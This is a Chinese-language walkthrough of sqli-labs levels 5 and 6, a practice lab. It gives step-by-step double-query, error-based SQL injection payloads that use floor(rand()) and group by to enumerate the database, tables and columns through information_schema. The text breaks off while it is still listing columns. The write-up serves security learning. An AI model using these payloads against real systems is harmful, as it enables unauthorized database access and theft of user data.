sqli-labs 5、6双查询报错注入通关方式

sqli-labs 5、6报错注入通关方式

这篇为了代码行语法高亮好看,就把payload中sql语句之前的内容省去了,复制使用时记得在payload前面加上?id=-1'

第六关闭合方式是双引号,所以将所以payload的单引号改成双引号即可。

这里的思路,利用双查询报错提示和information_schema库获得数据库信息,思路可见目录。

好,进入正文~

0x01 获取目标库名

报错获得当前的数据库名:

1547789519309

payload:

union select 1,count(*), concat((select database()),"==",floor(rand()*2)) as a from information_schema.tables where table_schema='security' group by a --+

获得当前数据库名为security

1547789610011

0x02 获取库中表的数量

information_schema库中有一张tables表,含有数据库所有的表信息,这个表里有一个列table_schema,内容为表所属的数据库,利用这两个属性可以获得security库中的表名信息:

1547789117797

payload:

union select 1,count(*),concat((select count(table_name) from information_schema.tables),"==",floor(rand()*2)) as a from information_schema.tables where table_schema='security' group by a --+

1547789003506

可知道这个数据库有四个表

0x03 获取库中表名

这里本来想在子查询中利用group_concat函数将几个表名直接连接在一起输出的,payload如下,试了没用,不能触发报错,cmd里直接用数据库跑也不行,可以查询出结果,但是不会报错,具体原因不了解 估计是group_concat()函数的原因

## 子查询中利用group_concat()函数,失败 union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),"==",floor(rand()*2))as a from information_schema.schemata group by a --+

所以还是用limit函数,让查询结果每次一行的显示,尽管比较麻烦,但目前只能这样了,第一个表:

1547790919677

union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),"==",floor(rand()*2))as a from information_schema.schemata group by a --+

1547790973959

先爆出第一个表名为emails

然后改变limit函数的参数,依次为limt 1,1,limt 2,1,limt 3,1,将后面3个表名爆出来

1547791076181

最终找到我们需要的表,users,从表名就可以知道其中含有用户信息。

0x04 获取目标表中的列数

和上面的思路一样,获取users表中的列数,然后再进一步获取每一列的列名

这里利用information_schema中的columns表,这个表记录了所有的数据库列信息,可以获取users表的列数

先构造获得users表列数和列名的sql语句如下

1547792856819

1547792875846

所以查users表列数的pyload如下:

union select 1,count(*),concat((select count(column_name) from information_schema.columns where table_schema='security' and table_name="users"),"==",floor(rand()*2)) as a from information_schema.tables where table_schema='security' group by a --+

爆出users表中有3列内容

1547793037833

0x05 获取目标表的列名

然后通过limit函数将列名逐一爆出来,payload如下,改变limit的变量即可:

union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name="users" limit 0,1),"==",floor(rand()*2)) as a from information_schema.tables where table_schema='security' group by a --+

1547793211814

第一列的列名是id:

1547793245550

继续爆出剩下的两个列名:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wspwzf.html